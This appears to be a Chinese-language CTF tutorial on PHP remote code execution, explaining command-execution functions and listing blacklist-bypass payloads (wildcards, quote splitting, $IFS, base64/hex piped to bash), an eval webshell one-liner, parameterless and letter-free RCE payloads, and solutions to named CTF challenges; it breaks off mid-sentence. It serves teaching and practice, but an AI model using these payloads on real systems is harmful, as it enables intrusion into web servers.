什么是RCE

RCE漏洞,即远程代码漏洞和远程命令执行漏洞,这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。

在很多Web应用中,开发人员会使用一些特殊函数,这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时(当应用程序未正确验证过滤限制用户输入时),就产生了RCE漏洞。

1.分类(远程代码和远程命令)

1.命令执行漏洞:直接调用操作系统命令。例如,当Web应用在调用一些能将字符串转化成代码的函数时,如果未对用户输入进行合适的处理,可能造成命令执行漏洞。

2.代码执行漏洞:靠执行脚本代码调用操作系统命令。例如,PHP中的system()、exec()和passthru()函数,如果未对用户输入进行过滤或过滤不严,可能导致代码执行漏洞。

额外的:

3.系统的漏洞造成命令注入:例如bash破壳漏洞(CVE-2014-6271)是一个远程命令执行(RCE)漏洞。这个漏洞存在于Bash shell中,使得攻击者可以通过构造特定的环境变量值来执行任意命令,从而获取系统的控制权。。

4.调用的第三方组件存在代码执行漏洞:**例如WordPress中用来处理图片的ImageMagick组件,以及JAVA中的命令执行漏洞(如struts2、ElasticsearchGroovy等)。

RCE漏洞产生的条件

  1. 存在可调用执行命令的函数
  2. 函数参数可控
  3. 应用程序未正确验证过滤限制用户输入

RCE绕过bypass姿势

先说说一些命令函数

php执行系统命令函数

  • system : 执行外部程序,并且显示输出,如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。
  • exec : 执行一个外部程序,回显最后一行,需要用echo输出。
  • shell_exec : 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
  • popen : 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
  • proc_open : 执行一个命令,并且打开用来输入/输出的文件指针。
  • passthru : 执行外部程序并且显示原始输出。同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
  • pcntl_exec() : 在当前进程空间执行指定程序,当发生错误时返回 false ,没有错误时没有返回。
  • `(反引号):同 shell_exec()

绕过关键字黑名单

通配符绕过

* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个)
? 匹配任何一个字符(不在括号内时)?代表任意1个字符
[abcd] 匹配指定字符范围内的任意单个字符
[a-z] 表示范围a到z,表示范围的意思

配符是由shell处理的, 它只会出现在 命令的“参数”里。当shell在“参数”中遇到了通配符时,shell会将其当作路径或文件名去在磁盘上搜寻可能的匹配:若符合要求的匹配存在,则进行代换(路径扩展);否则就将该通配符作为一个普通字符传递给“命令”,然后再由命令进行处理。总之,通配符实际上就是一种shell实现的路径扩展功能。在 通配符被处理后, shell会先完成该命令的重组,然后再继续处理重组后的命令,直至执行该命令。

例如我们的flag.php文件,我们可以用fla*或者fla?????去进行模糊匹配,但是这里需要注意,如果目录中有flax这种类似也可以匹配上的文件,系统可能会无法正确做出匹配或者返回多个可以匹配上的文件,例如我们设置一个1.txt

1
2
3
4
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# cat 1????
123
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# cat 1*
123

如果我们加上一个1.php文件

1
2
3
4
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# vim 1.php
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# cat 1*
1
123

单引号双引号反引号绕过

对php来说这是fl””ag而不是flag关键字不会匹配上,但是对于linux系统来说cat /fl””ag等效于cat /flag。外面包裹的是单引号里面就是双引号,外面包裹的是双引号里面就是单引号,或者用斜线\进行转义,避免报错

1
2
3
4
5
6
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# ca''t 1.txt 
123
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# ca""t 1.txt
123
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# ca``t 1.txt
123

反斜杠绕过

linux看到反斜线\会自动帮你去掉,正常执行命令

例如ca\t 1.php

$1到$9、$@和$*绕过

由于这些变量输出都为空,因此可以作为空格绕过

1
2
3
4
5
6
7
8
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# cat 1$1.php
1
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# cat 1$9.php
1
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# cat 1$@.php
1
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# cat 1$*.php
1

变量拼接绕过

1
2
3
4
5
a=c;b=a;c=t;$a$b$c //拼接
例如
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# a=c;b=a;c=t;
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# $a$b$c 1.php
1

利用base编码绕过

1
2
3
4
5
6
7
8
echo '(base64编码)' | base64 -d | bash
这里利用了管道符去逐个执行我们的命令,先base64编码输出,然后通过|管道符把上一个的输出作为下一个的输入,也就是base64 -d的输入,其中-d代表着解码,之后再把解码的内容传给bash,解码后的内容会被当成bash命令去执行
例如
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# echo 'Y2F0IDEucGhw' | base64 -d | bash
1
其中Y2F0IDEucGhw解码后是cat 1.php
当然这里也不一定需要bash,也可以直接用反引号内联执行
`echo 'Y2F0IDEucGhw' | base64 -d`

利用hex编码绕过

在Linux中,可以使用xxd命令对十六进制(hex)进行解码。

1
2
3
4
5
echo '(hex编码)' | xxd -r -p | bash
例如
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# echo '63 61 74 20 31 2e 70 68 70' | xxd -r -p | bash
1
其中63 61 74 20 31 2e 70 68 70就是cat 1.php的hex编码

特殊命令替换绕过

读文件命令cat

more:

  • 用于分页查看文件内容。
  • 支持通过空格键向下翻页,b键向上翻页,q键退出查看。
  • 还可以搜索指定文本,并支持设置每屏显示的行数。

less:

  • 类似于more,但功能更强大。
  • 支持方向键上下滚动,空格向下翻页,b向上翻页。
  • 可以显示行号,支持搜索指定字符串,并可以方便地查找和浏览文件内容。
  • 使用q键退出查看。

head:

  • 用于查看文件的开头部分。
  • 默认显示文件的前10行,但可以通过指定参数来显示更多或更少的行数或字节数。
  • 支持与其他命令结合使用,如管道命令。

sort:

  • 用于对文本文件内容进行排序。
  • 支持多种排序方式,如按字母、数字、逆序排序等。
  • 还可以合并已排序的文件,删除重复行,以及检查文件是否已经排序。

tail:

  • 用于显示文件的末尾内容。
  • 默认显示文件的最后10行,但可以通过指定参数来显示更多行数。
  • 支持实时追踪文件的变化,并持续显示新增的内容,适用于查看日志文件等动态更新的文件。

tac:

  • 从最后一行开始显示,可以看成 tac 是 cat 的反向显示

空格的绕过

  • 大括号
1
2
3
4
{cat,flag.php}
在大括号中逗号会被看成是分隔符
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# {cat,1.php}
1
  • 环境变量$IFS

在Linux中有一个环境变量叫IFS,为内部字段分隔符

1
2
$IFS$9 (1-9)
${IFS}

这里的{}是为了固定变量名,如果直接用$IFS的话可能会导致后面的内容一部分被当成环境变量名进行解析

$IFS$9后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者始终为空字符串。

1
2
3
4
5
6
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# cat${IFS}1.php
1
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# cat$IFS1.php
cat.php: command not found
root@dkhkv28T7ijUp1amAVjh:/www/wwwroot/156.238.233.87# cat$IFS$11.php
1

这里就可以看到我们第二种是错误的

  • 重定向字符<,<>

重定向符号在Linux或Unix系统中用于控制命令的输入和输出。它可以将命令的输出发送到文件或从文件中获取输入。

**<**:从文件中获取输入,将文件内容作为命令的标准输入。

**>**:将命令的标准输出重定向到文件,如果文件不存在则创建,如果文件已存在则覆盖其内容。

  • 编码字符绕过(在linux下不可行,需要在php环境下)

用%09,%20等可以表示成空的编码字符进行绕过

RCE命令执行的姿势

写入一句话木马

对于eval($a)因为在eval函数中的语句都会被当成php代码去执行

所以我们传入$a=eval($_GET[1]);&1=phpinfo();会发现可以成功执行phpinfo

短标签

<?= ?> 是 PHP 中的一种短标签,用于快速输出变量或表达式的值。这种标签是 <?php echo ?> 的简写形式。

利用短标签可以绕过对php的检查

内联执行

在 PHP 中,反引号(``)主要用于执行系统命令。使用反引号包围命令时,PHP 将会在操作系统上执行该命令,并返回命令的输出结果。

1
2
例如
`tac fla*`就是执行tac fla*的命令,然后将命令的结果返回

无参数RCE

这种情况下我们传入的函数只能是没有参数的函数例如phpinfo()这类的

php常用内置无参函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.

getchwd() 函数返回当前工作目录。不需要参数
scandir() – 将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)需要参数
dirname() 函数返回路径中的目录部分。需要参数

array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。

var_dump() - 输出数组,可以用print_r替代
get_defined_vars() - 返回由所有已定义变量所组成的数组
current() - 读取数组的第一个元素
phpinfo() -显示php详细内容
file_get_contents(),highlight_file()、show_source()、readfile()[需要查看源代码]:读取文件内容

php数组操作常用无参函数

1
2
3
4
5
6
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
pos() – 返回数组中的当前单元, 默认取第一个值

函数套用

我们举个例子

如果我们想要返回当前目录下的所有文件和目录,就需要用到scandir()函数,但是这个函数需要一个参数$directory去指定要扫描的目录路径。所以我们需要scandir('.') 函数调用会扫描当前目录,那么我们怎么去构造这个小数点呢?这里就需要用到能返回小数点的函数localeconv(),localeconv()的数组的第一个就是小数点,然后我们通过current()函数去读取数组的第一个元素,这样就能构造一个小数点,结合这些我们的payload构造就是

1
scandir(current(localeconv()))

然后使用一个输出函数去将结果输出

1
var_dump(scandir(current(localeconv())))

实操一下

先看一下localeconv下的数组内容

1
?a=var_dump(localeconv());

image-20250307112128383

可以看到第一个确实是小数点,我们试着返回这个小数点

1
?a=var_dump(current(localeconv()));

image-20250307112322248

能返回小数点,那就试着读取一下当前目录

1
?a=var_dump(scandir(current(localeconv())))

image-20250307112802088

能正常返回,但是这里为什么第一个和第二个是小数点呢?因为在文件系统中,. 代表当前目录,.. 代表父目录。使用 scandir() 函数扫描目录时,会自动包含这两个目录项

然后我们这里如果说希望读取到1.php的话,可能需要用指针操作函数进行多次操作例如反转和移动指针

一些无参数payload

1
2
3
4
highlight_file(array_rand(array_flip(scandir(getcwd())))); //查看和读取当前目录文件
print_r(scandir(next(scandir(getcwd())))); //查看上一级目录的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); //读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));//读取上级目录文件

突破函数禁用

读取目录的函数

scandir()函数

  • 功能:返回指定目录中的文件和目录数组。
  • 用法$files = scandir($directory, $sorting_order);
  • $directory 是你想要扫描的目录的路径。
  • $sorting_order 是可选的排序顺序,可以是 SCANDIR_SORT_ASCENDING(升序,默认值),SCANDIR_SORT_DESCENDING(降序),SCANDIR_SORT_NONE(不排序)。
  • 返回值是一个包含目录中所有文件和目录名称的数组(包括 ...),如果失败则返回 false

readdir()函数

  • 功能:从已经打开的目录中读取下一个文件的名称。
  • 用法$filename = readdir($handle);
  • $handle 是之前通过 opendir() 打开的目录句柄。
  • 返回值是目录中下一个文件的名称(字符串),如果已经读取到目录末尾或出错则返回 false

opendir()函数

  • 功能:打开一个目录句柄,供其他目录函数使用。
  • 用法$handle = opendir($path);
  • $path 是你想要打开的目录的路径。
  • 返回值是一个目录句柄(resource 类型),如果失败则返回 false

print_r()函数替换函数

highlight_file

show_source()

  • 是 PHP 中用于显示 PHP 源代码的一个函数

var_dump()

  • var_dump() 提供了比 print_r() 更详细的信息,包括变量的类型和长度(对于字符串)。
  • 它对于调试非常有用,因为它显示了更多关于变量的内部信息

var_export()

  • var_export() 返回或输出关于变量的字符串表示,这个表示可以作为有效的 PHP 代码来执行(如果变量是数组或对象的话,可能会需要一些调整)。
  • 它对于生成代码示例或配置数据很有用。

readgzfile()

是 PHP 中用于读取整个 gzip 压缩文件的内容,并将其作为字符串返回的函数。这个函数不会直接输出文件内容到浏览器或终端,而是将内容存储在变量中供后续使用。

c=require(“/flag.txt”);

glob伪协议查看文件

glob 伪协议是 PHP 中用于匹配文件路径的一种便捷方式。它基于 glob 模式(类似于 shell 中的通配符匹配),可以用来查找符合特定模式的文件或目录。

glob 伪协议的基本用法

1
glob://<pattern>
  • **<pattern>**:是一个 glob 模式,用于匹配文件或目录路径。
  • 支持的 glob 通配符:
    • *:匹配任意数量的字符(包括空字符)。
    • ?:匹配单个字符。
    • [...]:匹配指定范围内的字符(如 [a-z] 匹配小写字母)。
    • {a,b,c}:匹配多个模式中的一个(如 {jpg,png,gif} 匹配 jpgpnggif)。

用法

  • 查找当前目录下的所有 .txt 文件
1
2
$files = glob("*.txt");
print_r($files);
  • 使用 glob 伪协议读取匹配的文件内容
1
2
3
$pattern = "glob://*.txt"; // 匹配当前目录下的所有 .txt 文件
$files = glob($pattern);
echo $file

拿一道ctf的题目讲一下

web72

目录文件扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
传入
c= ?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' ');} exit(0); ?>
分解一下
c=?><?php $a=new DirectoryIterator("glob:///*");//*创建一个DirectoryIterator对象,遍历根目录*

foreach($a as $f)//*// 遍历每个条目*

{

echo($f->__toString().' ');//*// 输出条目的名称,并添加一个空格*

}

exit(0);

?>

利用session进行无参数RCE

使用条件:当请求头中有cookie时(或者走投无路手动添加cookie头也行,有些CTF题不会卡)

首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现

这样的话我们就可以在cookie中设置phpsession为想要读取的文件名,然后payload设置成

1
2
传参readfile(session_id(session_start()));
设置Cookie: PHPSESSID=flag.php

利用请求头进行无参数RE

getallheaders()返回当前请求的所有请求头信息,如果我们在请求头中写入恶意代码,然后再将指针指向最后一个请求头让他执行,那么也可以达到一个无参数RCE的效果

当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:

1
2
var_dump(end(getallheaders()));
然后在请求头中加入phpinfo();进行测试

利用全局变量进行无参数RCE

get_defined_vars()可以回显全局变量$_GET、$_POST、$_FILES、$_COOKIE

返回数组顺序为$_GET–>$_POST–>$_COOKIE–>$_FILES

假如一个题目中只有一个参数a,我们可以多加一个参数b,然后写入命令执行语句

payload

1
a=eval(end(current(get_defined_vars())));&b=system('ls /');

把eval换成assert也行 ,能执行system(‘ls /‘)就行

无字母RCE

什么是无字母rce呢,题目代码如下

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/[a-z]/i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

题目只是过滤了字母而没过滤数字,这时候又该怎么绕过呢?

使用/bin目录下的可执行程序

base64程序查看flag.php

尝试使用/bin目录下的可执行程序。

1
?c=/bin/base64 flag.php

但是过滤了字母,那么我们用通配符?绕过,下面会详细讲解

替换后变成

1
?c=/???/????64 ????.???

积累题型,最近碰到了一道题,是XYCTF2024的题目,具体代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

这里给出了白名单,要求我们传入的$cmd参数的每个字符都符合白名单规定的内容,否则就会执行die()语句,这时候我们可以用什么方法呢?

第一个就是bashfuck

bashfuck实现无字母RCE

参考文章:【bashfuck】bashshell实现无字母命令执行的构造原理

其实这里还是有限制的,取决于Linux的系别,在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash

数字编码执行RCE

首先我们知道,在终端中,$'\xxx'可以将八进制ascii码解析为字符,所以我们可以尝试通过八进制将我们的命令进行转码去绕过字母或者关键字的限制

根据Bash 的 $'...' ANSI-C Quoting 机制$'...' 会在 Shell 解析阶段(执行命令前)把 \xxx(八进制)转换成 对应的 ASCII 字符。所有 $'\xxx' 拼接后,最终会合并为 可执行的 Shell 命令

我们终端测试一下

image-20250403184929665

\154\163是ls的八进制表示。

但是注意,如果为连续的一串$'\xxx\xxx\xxx\xxx'形式,则我们无法执行带参数的命令。这是为什么呢?

Shell 仅将 $'\xxx\xxx...' 视为 单字符串(一个参数),而不是 可执行命令,它并不会对参数进行分割,在Bash中,单词分割是一种将参数扩展、命令替换和算术扩展的结果分割成多个单词的过程,它发生在双引号之外,并且受到IFS变量的影响。

如果一个字符串包含空格或其他IFS字符,它会被分割成多个单词,每个单词作为一个独立的参数传递给命令。

但因为八进制转义序列是在命令行解析之前就执行的,所以它不会触发单词分割

然后我们再来关注一下Linux Bash Shell的Here string语法

Linux Bash Shell的Here string语法

在 Bash Shell 中,Here String<<<)是一种将 单行字符串 标准输入(stdin)传递给命令的方法。

基本语法

1
2
command <<< "STRING"

  • <<<:Here String 操作符
  • "STRING":要传递给 command 的输入内容

例如

1
cat <<< "hello"   # 相当于 echo "hello" | cat

然后我们需要关注另一个点,就是$0变量

$0变量

$0 是一个特殊的变量,表示当前正在执行的脚本(或者是当前的 shell)的文件名

1
2
root@VM-16-12-ubuntu:/var/www/html# echo $0
bash

然后是 <<< ,是一种操作符,用于将字符串作为输入传递给命令

  • <<<Here String 语法,可以将字符串直接传递给命令的标准输入(stdin)。

所以我们试一下

1
2
root@VM-16-12-ubuntu:/var/www/html# $0<<<'id'
uid=0(root) gid=0(root) groups=0(root)

这里的命令就相当于

1
echo 'id' | $0

如果$0是/bin/bash,那么就会尝试执行这个命令

那我们试着执行命令ls

1
2
3
?cmd=$0<<<$%27\154\163\040\057%27
等价于
echo 'ls /' | /bin/bash

如果 bash 读取标准输入时自动解析 \ 转义,才会触发命令执行漏洞,其实这里还取决于服务器的shell配置

但是这里是在终端去进行测试的,在终端中$0其实就是bash本身,但是在环境中我们往往需要寻找如何构造$0,或者说有些题目如果过滤了0,该如何构造0

构造$0

我们可以使用变量赋值,或者特殊变量构造

  • $ 来替换 1 ,用 `$